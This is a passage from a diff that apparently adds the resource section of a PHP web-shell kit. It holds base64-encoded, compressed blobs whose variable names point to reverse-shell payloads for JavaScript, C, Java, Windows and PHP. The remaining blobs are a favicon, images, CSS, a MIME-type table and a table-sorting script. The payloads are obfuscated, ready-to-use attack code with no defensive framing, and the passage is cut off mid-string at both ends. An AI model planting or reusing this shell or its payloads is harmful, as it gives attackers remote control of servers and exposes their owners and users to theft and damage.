D1t3/TWSoy2wZ9OaFMsqOsJQnLCNB95CUix9tYSYU5KtU5GRoN/Gg7tAWmkHd4VVGCcI18vAi1zu37kzY1eUrJtgdRTfIm27XNf/GOQTktulUD5zONadh91v4M7B14FCYNhulnzPz5CYMhfHyk+fAVvIP"; +$s_rs_js = "nVHLasMwEDwrkH8wvliGVIImUEjIqZ/QY/rAkTeWqCy5kpwUQv69kuykebSl2Afh3Zmd3Z2lNOHONXZOKdMlkErrSgJhuqYNXU8fZu93loOUdDzaFiaxTbFTyTIx8NEKAzhjXMjyrTGagbVZTiJh0ZEVuHOqD7O8h6wzUNTnaJc5EZhWVku4aNWlIqVXCZN5SkbXQlHLM4+IDe6nIY0s3EabmtSFYxzT151niTz/rmN1SeATQl3SSRam2nrkKBHCTjT8EQmqcny5nOb78QgFPvdkvxhhfnoHT2C2YPCmVcwJrbCNPGTJzggHOI2G9u3nYUcFzEH5rNKwVNJ/3WpeOJqJI/0ct5xYVwpFDNi2BpxfQ7p1xHdPy8IV6eQ4TYJDnO+P08RocbhVBmMGlv9Vdhz6php1LydSWAcqOr26fwnJw3gE0kJy7f/s5L+98P+xczRY36tM4kVX0yj330Og3y6AfrAeDfQcDTQbDXP58AU="; +$s_rs_c = "rVJhb9owEP0Mv8JjU+tQFxPaaVJpKqFCJbQVEGSapg1FwTHEqrGj2EzQqf99thMYYdqkSf0Q5e7d8zv73uEmSLXO1A3GRCa0tZJyxWmLyDXO8OLqw/XTpUop5xg0cf0tE4RvEgpulU6YbKV3FShnYnWKJZwtTrCdwnqXUfUnrCR5orqKC6qZ+TATVXwjmFG3GBMarGMmoA3ifEUQSeMcNE3449vc+1mv2YJCBMnA79Zr5qIbYgDTLE6SPGICMAOzJbSHg6Bjj9RYSzERLeM147ug9xANR4Owe8Azmesg1VIoGGvJoOvlzz3vN8Vqt5T7OSaHw1Gv359GvdFXR1NB8V5YqqPZ+P5jNAung94jahcUqi1HZhoqU/4UWYpjRtPB59nA6qEziRR7pnIJZdl/Cd8oj26ZhoXMgonECMCTl4Omd8ZQe+sXLG4GSoXhvXcpCWJCqOvcPlzH6BDUcHsB3F6AG0CkEJRomnwXDdS5LrnJJusYbiXxj5NOIbkzTdewQbd2pCAcTB+Drab5ujuZ+cH5u8mX/t15t6wayISUAGxehFUKLlmjuCuXikJi45d6jXJFwcHOq9e30y6kiwpiZ15M+Znmco8gM2tuprknXPgXx8he+587MJxMpuNwHIX3k72vsBz2X90sN+Gk5nnebft4I5yT6j+cVNXEP05e30lVOPlS/wU="; +$s_rs_java = "lVRNb9swDD2nQP+DkJM9ZHaTDdjWIsOwYYcBA1osvXXBoMiMrdWWBIn5Qpr/PkqWXXftpQfbEvlEPj5SznNWIRp3medCF5CVWpc1ZEI3uclX7z68v3/rKqjr/PxMNkZbZH/5lmdSZ2+unpoUYLCdn5nNqpaCiZo7x0KMP9Ydz89GxsotR2AOORJgLRWvI8wggz2CKhy7rSzwwuP7Az+U2eACyd4w6a6GrusNPvr0BgMDcrccDCZPz06eHUiPWEmXSTenyGFJxrmPdGpDfbnegrWygEHcrZYFsxuVpIHnCO2hXYxWB4S7JVuxOVOwY2H7cfpptrxq/VIhE+SkPL7MZJVGx66SNSTi8/wiZTHWiFhkOysRktXkYiI6aLCv642rkt70YsxT+LRvwVFUyfe9AINSKwbpETJSUZEWXNzfWi6AwgWwf7XVx3pjx0LZDZcqIf2kKqlQbkvXiuAr8+MQcrd+JpqCeI3zlVS5q8bBJdfJ4uAQmqwEvLHagMVDMtYuU7yBcZqh/ql3YL9xR4QyqQrYX6+T8U6qcerlOcao9Bm3fGO2nbeGgWNhaNklE1opEAjFb9VmH/Rn5wl8pb2LMi60uAdkVexdu42+vsNE39ec1aBKrObzaRyBUbgKc5pVhBJsZrh1QJuAvrtYdj1ZgKV5iqlcl2pgTHygDu25uIwL37Wu2W0/oXbA/iczey2ZVjhpCBtc0+Ug8UAEaSZswOv0shTs4YG9zGd4C0vpy668+gNzP8pPLmipe+zQ3oPJ392QzkQjJcD/Uujgr41C2YA/Hpc0UbAHkdDwpPFfQWrR5E5jwaSzeUZt4ol0CTx69ogu/V/FPGfYw6cZXR/r22dm/fJRxvB6xe2k5/QP"; +$s_rs_win = "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"; +$s_rs_php = "7VVNb+M2ED3bgP+DlhUQCVUsyy6wQFxmL+2xwKIt0MMmFWSKsghLIsuhai+a/PcORcnWOk6yaLe9tDBikzOcx/l4fPn2nSrVbPqVVxqj4CaOmcz5fCvltuJzJutYxZvV229211DyqopnU6611KnmSmojmm2wCNezKXCTGlHztBK1MM4mN6moVSWYMGlRtVAG1jqb+ibTW26oD6kGt14frUD5QVWYQkA8EvVGG+czoMlq9dYu9xlt2qqyS35aQkkJBmNa3s/f//gDPRiu6/X7nxJ6dee//+W726t170bbOt6IJobSuxbEBteUdGV6XZnejcdk03BmeH7XkC5tUQRMto0JhkxDSpPwj9l04ivqH+uY+JgG6RYGMUWT280j9q0CfgljeYYBHxb3Pc7RktwfATO26wG7lIq2YUbIJuUHAQaCK8UaU6WF1LursEcWOT1ZuyFMMLKz0+skxEgTJGOzMy0Gk5IgDimOGEQehGcxQyKYXF+uuxUoGM2zOgXJdsgO4Pp3rgNimEKSLebd54bMfRX5SKlGdj8Y0906xPa0ki22DKKVS8lnZ9gZY1zZE0PG6Dayknu8ENoN7gIkedo2Wc2DMFpEqxDLIHvRuGQnxV4LwwOfRX49x46zPRY6J7ekA5zsS1GhV72htMhwjC7Izqyw48E4d65rlubbtM4MKwMSs/zOCz78egf3X4exQD5jsVqHffzEz3OK+368Ll5AmgsdoCsMWTkse78v6Tg7Z33svnt6GS3qcfm+6kq18yLew4P3jP+3Fv2ht8Gu7tZHPA/v4wdbOV6H72D+9PJR56TLskunYJUEfmzMsHUDsics/JPWu8N+DjTTOvsYLOitWxAlFCcR0SSMknPjHo3LC8YeTWmqtGSpVLzBDMoI8XEQQjk/9uwN9lxzkK1mtlacz+hJjKm4qZBvVvNsOD7TaPHKkeT1I8uXj7DB6zhodDuwzz5+Lgvb44cHt3JXhuFojL7O+mbaDvc59Rf3rDreW6HeBRgQocDia8wiq6wnZosmPSHp7MRiQQtEyDs7g4Grw2D7VvkiHNP1E7whrYugg/MpMnsVdPkS6PKzQB/P+Dti9rB0FX66T872Q7c7Kg52PTyH078HJ6NW5AcZLazIOfKWnYDwBv+OYvg31A7+otrBf17t4LLavSBv8L+8XToCr8sbfKa8wReTN3hGNODflTf4J+TtHPQ5efsimvbu9k8="; +$s_favicon = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKYSURBVDjLnZPJT1NRFMb5G1wDHV5boNiqdHrvFYolCAtsGSSWKpMFKhYqlDI6oAEKaVJwCIgSphaKtLYWCgSNBgRjMNHoxsSFS3cmJmA0NMTw+R6JKKZl4eJL7sm953fOd3JPHIC4WMpcppG5SGnZc8ZjVVF6QLn975sDgfaZmvg71oRJZIRUYcuAnq/2KWroGfm3QwEn2YpLVPPvOD2oiqj9yq/mGznegl56mx6T7ZbY1M6YAM0CuZkxT0b2Wg6QW/SsApRXDsotR+d6E9Y/h9DuqoCuJq0lKoDxqU1/pITGR27mBU4h+GEcTz5OY+ClA5JbyahYzof/9TBO9B/FcWcqpA4xU3We3GJ87ntnfO5meinMvruNnqcmXA2XoDVcCc0wCYkzBaZpA7ILRJ/2O2B87jA+QT9UeDRe8svZYAG8b/txc6kc9mA+yqayYPQXwvdmBEOrA5B2p0BtFIYOWKCm5RukWwZyXIbA+0F0LpaiKaBHmVsLw4we99ccsM8a8GClF5JOMcQdou8prULrgRmQo7KI0VcE13MrGv06lE5kodhzGvdWu2GdKkTVWC4DcELcJkKyXbCb1EhAVM//M0DVUNqP2qAJd1baUDaZjTMTeXAttsPi0cM0mgvHvA0NkxYk2QRIrieOsDmEmXttH0DfVfSluSToWmpD8bgOroUOWNw6VI7koGfOBuq6EqLLTNU6ojrmP5D1HVsjmrkYezGIrlA9LjKgnrlGXJlpgbCOD0EtD0QNN8I3cZqjAlhJr4rXpB1iNLhrYffUQWoT7yUKzbxqJlHLq0jc5JYmgHMunogKYJVqF7mTrPyfgktMRTMX/CrOq1gLF3fYNrLiX+Bs8MoTwT2fQPwXgBXHGL+TaIjfinb3C7cscRMIcYL6AAAAAElFTkSuQmCC"; +$s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; +$s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg=="; +$s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C"; +$s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; +// http://www.kryogenix.org/code/browser/sorttable/ - this makes the tables +$s_sortable_js = "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